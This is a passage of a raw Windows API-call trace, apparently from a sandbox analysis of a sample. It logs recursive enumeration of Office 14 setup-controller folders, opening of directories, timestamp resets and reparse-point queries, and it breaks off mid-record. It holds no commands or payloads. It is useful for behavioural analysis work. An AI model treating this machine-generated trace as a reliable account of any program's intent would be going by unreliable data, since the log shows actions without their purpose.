0x95b6c0 [0268.068] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x945638) returned 1 [0268.068] FindNextFileW (in: hFindFile=0x5490c0, lpFindFileData=0x118e9e4 | out: lpFindFileData=0x118e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf00db300, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x2095e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf00db300, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x106f, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0268.068] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0x945638 [0268.068] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x945638) returned 1 [0268.068] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0x945638 [0268.068] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x945638) returned 1 [0268.068] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0x945638 [0268.068] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x18) returned 0x95a150 [0268.068] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x100) returned 0x95b7c8 [0268.068] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x945638) returned 1 [0268.068] FindNextFileW (in: hFindFile=0x5490c0, lpFindFileData=0x118e9e4 | out: lpFindFileData=0x118e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf00db300, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x2095e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf00db300, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x106f, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 0 [0268.068] GetLastError () returned 0x12 [0268.068] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\*", fInfoLevelId=0x1, lpFindFileData=0x118e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x118e9e4) returned 0x549080 [0268.068] FindClose (in: hFindFile=0x5490c0 | out: hFindFile=0x5490c0) returned 1 [0268.069] FindNextFileW (in: hFindFile=0x549080, lpFindFileData=0x118e9e4 | out: lpFindFileData=0x118e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x14af010, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x2095e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2095e10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0268.069] FindNextFileW (in: hFindFile=0x549080, lpFindFileData=0x118e9e4 | out: lpFindFileData=0x118e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee827f20, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x14af010, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xee827f20, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xc72, dwReserved0=0x0, dwReserved1=0x0, cFileName="OutlookMUI.XML", cAlternateFileName="")) returned 1 [0268.069] FindNextFileW (in: hFindFile=0x549080, lpFindFileData=0x118e9e4 | out: lpFindFileData=0x118e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf00db300, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x2095e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf00db300, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x106f, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0268.069] FindNextFileW (in: hFindFile=0x549080, lpFindFileData=0x118e9e4 | out: lpFindFileData=0x118e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf00db300, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x2095e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf00db300, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x106f, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 0 [0268.069] GetLastError () returned 0x12 [0268.069] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x959028) returned 1 [0268.069] FindClose (in: hFindFile=0x549080 | out: hFindFile=0x549080) returned 1 [0268.069] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x959130) returned 1 [0268.069] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x958f20) returned 1 [0268.069] FindNextFileW (in: hFindFile=0x549100, lpFindFileData=0x118ec9c | out: lpFindFileData=0x118ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb169e000, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0x6cee1d10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb169e000, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0x165510, dwReserved0=0x0, dwReserved1=0x0, cFileName="pidgenx.dll", cAlternateFileName="")) returned 1 [0268.069] FindNextFileW (in: hFindFile=0x549100, lpFindFileData=0x118ec9c | out: lpFindFileData=0x118ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x17eefe00, ftCreationTime.dwHighDateTime=0x1ca9120, ftLastAccessTime.dwLowDateTime=0xbe99ad60, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x17eefe00, ftLastWriteTime.dwHighDateTime=0x1ca9120, nFileSizeHigh=0x0, nFileSizeLow=0xaec3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="pkeyconfig-office.xrm-ms", cAlternateFileName="")) returned 1 [0268.069] FindNextFileW (in: hFindFile=0x549100, lpFindFileData=0x118ec9c | out: lpFindFileData=0x118ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6904ef00, ftCreationTime.dwHighDateTime=0x1ca912c, ftLastAccessTime.dwLowDateTime=0x6cf07e70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6904ef00, ftLastWriteTime.dwHighDateTime=0x1ca912c, nFileSizeHigh=0x0, nFileSizeLow=0x3d78, dwReserved0=0x0, dwReserved1=0x0, cFileName="pkeyconfig.companion.dll", cAlternateFileName="")) returned 1 [0268.069] FindNextFileW (in: hFindFile=0x549100, lpFindFileData=0x118ec9c | out: lpFindFileData=0x118ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf5db14d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf5e95d10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf5e95d10, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPoint.en-us", cAlternateFileName="")) returned 1 [0268.069] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x100) returned 0x958f20 [0268.069] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us"), fInfoLevelId=0x0, lpFileInformation=0x118eb98 | out: lpFileInformation=0x118eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf5db14d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf5e95d10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf5e95d10, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0268.109] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x190 [0268.122] SetFileTime (hFile=0x190, lpCreationTime=0x0, lpLastAccessTime=0x118ebdc, lpLastWriteTime=0x118ebdc) returned 0 [0268.122] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x4000) returned 0x95c940 [0268.122] DeviceIoControl (in: hDevice=0x190, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x95c940, nOutBufferSize=0x4000, lpBytesReturned=0x118ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x95c940, lpBytesReturned=0x118ec34, lpOverlapped=0x0) returned 0 [0268.123] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x95c940) returned 1 [0268.123] NtClose (Handle=0x190) returned 0x0 [0268.130] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x958f20) returned 1 [0268.130] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0x945638 [0268.130] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0x9467c0 [0268.130] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x100) returned 0x958f20 [0268.130] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x945638) returned 1 [0268.130] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x100) returned 0x959130 [0268.130] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\*", fInfoLevelId=0x1, lpFindFileData=0x118e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x118e9e4) returned 0x549080 [0268.131] FindNextFileW (in: hFindFile=0x549080, lpFindFileData=0x118e9e4 | out: lpFindFileData=0x118e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf5db14d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf5e95d10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf5e95d10, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0268.131] FindNextFileW (in: hFindFile=0x549080, lpFindFileData=0x118e9e4 | out: lpFindFileData=0x118e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8728670, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf5db14d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8728670, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5aa, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPointMUI.XML", cAlternateFileName="")) returned 1 [0268.131] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0x945638 [0268.131] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x945638) returned 1 [0268.131] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0x945638 [0268.141] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x945638) returned 1 [0268.141] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0x945638 [0268.142] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x100) returned 0x959028 [0268.142] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x9467c0) returned 1 [0268.142] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x18) returned 0x95a170 [0268.142] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x100) returned 0x95b8d0 [0268.142] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x945638) returned 1 [0268.142] FindNextFileW (in: hFindFile=0x549080, lpFindFileData=0x118e9e4 | out: lpFindFileData=0x118e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecdfa490, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf5e95d10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xecdfa490, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x75e, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0268.142] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0x945638 [0268.142] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x945638) returned 1 [0268.142] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0x945638 [0268.142] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x945638) returned 1 [0268.142] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0x945638 [0268.142] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x18) returned 0x95a190 [0268.142] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x100) returned 0x95b9d8 [0268.142] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x945638) returned 1 [0268.142] FindNextFileW (in: hFindFile=0x549080, lpFindFileData=0x118e9e4 | out: lpFindFileData=0x118e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecdfa490, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf5e95d10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xecdfa490, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x75e, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 0 [0268.142] GetLastError () returned 0x12 [0268.142] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\*", fInfoLevelId=0x1, lpFindFileData=0x118e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x118e9e4) returned 0x5490c0 [0268.142] FindClose (in: hFindFile=0x549080 | out: hFindFile=0x549080) returned 1 [0268.143] FindNextFileW (in: hFindFile=0x5490c0, lpFindFileData=0x118e9e4 | out: lpFindFileData=0x118e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf5db14d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf5e95d10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf5e95d10, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0268.143] FindNextFileW (in: hFindFile=0x5490c0, lpFindFileData=0x118e9e4 | out: lpFindFileData=0x118e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8728670, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf5db14d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8728670, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5aa, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPointMUI.XML", cAlternateFileName="")) returned 1 [0268.143] FindNextFileW (in: hFindFile=0x5490c0, lpFindFileData=0x118e9e4 | out: lpFindFileData=0x118e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecdfa490, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf5e95d10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xecdfa490, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x75e, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0268.143] FindNextFileW (in: hFindFile=0x5490c0, lpFindFileData=0x118e9e4 | out: lpFindFileData=0x118e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecdfa490, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf5e95d10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xecdfa490, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x75e, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 0 [0268.143] GetLastError () returned 0x12 [0268.143] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x959130) returned 1 [0268.143] FindClose (in: hFindFile=0x5490c0 | out: hFindFile=0x5490c0) returned 1 [0268.143] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x959028) returned 1 [0268.143] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x958f20) returned 1 [0268.143] FindNextFileW (in: hFindFile=0x549100, lpFindFileData=0x118ec9c | out: lpFindFileData=0x118ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbe2e8f80, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xbec48620, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbec48620, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PRJPROR", cAlternateFileName="")) returned 1 [0268.143] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x100) returned 0x958f20 [0268.144] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror"), fInfoLevelId=0x0, lpFileInformation=0x118eb98 | out: lpFileInformation=0x118eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbe2e8f80, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xbec48620, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbec48620, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0268.156] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x194 [0268.162] SetFileTime (hFile=0x194, lpCreationTime=0x0, lpLastAccessTime=0x118ebdc, lpLastWriteTime=0x118ebdc) returned 0 [0268.166] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x4000) returned 0x95c940 [0268.166] DeviceIoControl (in: hDevice=0x194, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x95c940, nOutBufferSize=0x4000, lpBytesReturned=0x118ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x95c940, lpBytesReturned=0x118ec34, lpOverlapped=0x0) returned 0 [0268.167] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x95c940) returned 1 [0268.171] NtClose (Handle=0x194) returned 0x0 [0268.172] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x958f20) returned 1 [0268.172] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0x945638 [0268.172] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0x9467c0 [0268.172] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x100) returned 0x958f20 [0268.172] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x945638) returned 1 [0268.179] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x100) returned 0x959028 [0268.179] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\*", fInfoLevelId=0x1, lpFindFileData=0x118e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x118e9e4) returned 0x5490c0 [0268.187] FindNextFileW (in: hFindFile=0x5490c0, lpFindFileData=0x118e9e4 | out: lpFindFileData=0x118e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbe2e8f80, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xbec48620, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbec48620, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0268.187] FindNextFileW (in: hFindFile=0x5490c0, lpFindFileData=0x118e9e4 | out: lpFindFileData=0x118e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa60fd8f0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xbe2e8f80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa60fd8f0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x1915, dwReserved0=0x0, dwReserved1=0x0, cFileName="PrjProrWW.XML", cAlternateFileName="")) returned 1 [0268.188] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0x945638 [0268.188] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x945638) returned 1 [0268.188] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0x945638 [0268.188] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x945638) returned 1 [0268.188] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0x945638 [0268.188] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x100) returned 0x959130 [0268.188] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x9467c0) returned 1 [0268.188] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x18) returned 0x95a1b0 [0268.191] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x100) returned 0x95bae0 [0268.191] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x945638) returned 1 [0268.191] FindNextFileW (in: hFindFile=0x5490c0, lpFindFileData=0x118e9e4 | out: lpFindFileData=0x118e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c227b0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xbec48620, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa8c227b0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x412b, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0268.192] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0x945638 [0268.192] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x945638) returned 1 [0268.192] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0x945638 [0268.192] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x945638) returned 1 [0268.192] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0x945638 [0268.192] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x18) returned 0x95a1d0 [0268.200] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x100) returned 0x95bbe8 [0268.200] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x945638) returned 1 [0268.200] FindNextFileW (in: hFindFile=0x5490c0, lpFindFileData=0x118e9e4 | out: lpFindFileData=0x118e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c227b0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xbec48620, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa8c227b0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x412b, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 0 [0268.201] GetLastError () returned 0x12 [0268.201] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\*", fInfoLevelId=0x1, lpFindFileData=0x118e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x118e9e4) returned 0x549080 [0268.206] FindClose (in: hFindFile=0x5490c0 | out: hFindFile=0x5490c0) returned 1 [0268.206] FindNextFileW (in: hFindFile=0x549080, lpFindFileData=0x118e9e4 | out: lpFindFileData=0x118e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbe2e8f80, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xbec48620, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbec48620, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0268.206] FindNextFileW (in: hFindFile=0x549080, lpFindFileData=0x118e9e4 | out: lpFindFileData=0x118e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa60fd8f0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xbe2e8f80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa60fd8f0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x1915, dwReserved0=0x0, dwReserved1=0x0, cFileName="PrjProrWW.XML", cAlternateFileName="")) returned 1 [0268.206] FindNextFileW (in: hFindFile=0x549080, lpFindFileData=0x118e9e4 | out: lpFindFileData=0x118e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c227b0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xbec48620, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa8c227b0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x412b, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0268.206] FindNextFileW (in: hFindFile=0x549080, lpFindFileData=0x118e9e4 | out: lpFindFileData=0x118e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c227b0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xbec48620, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa8c227b0, 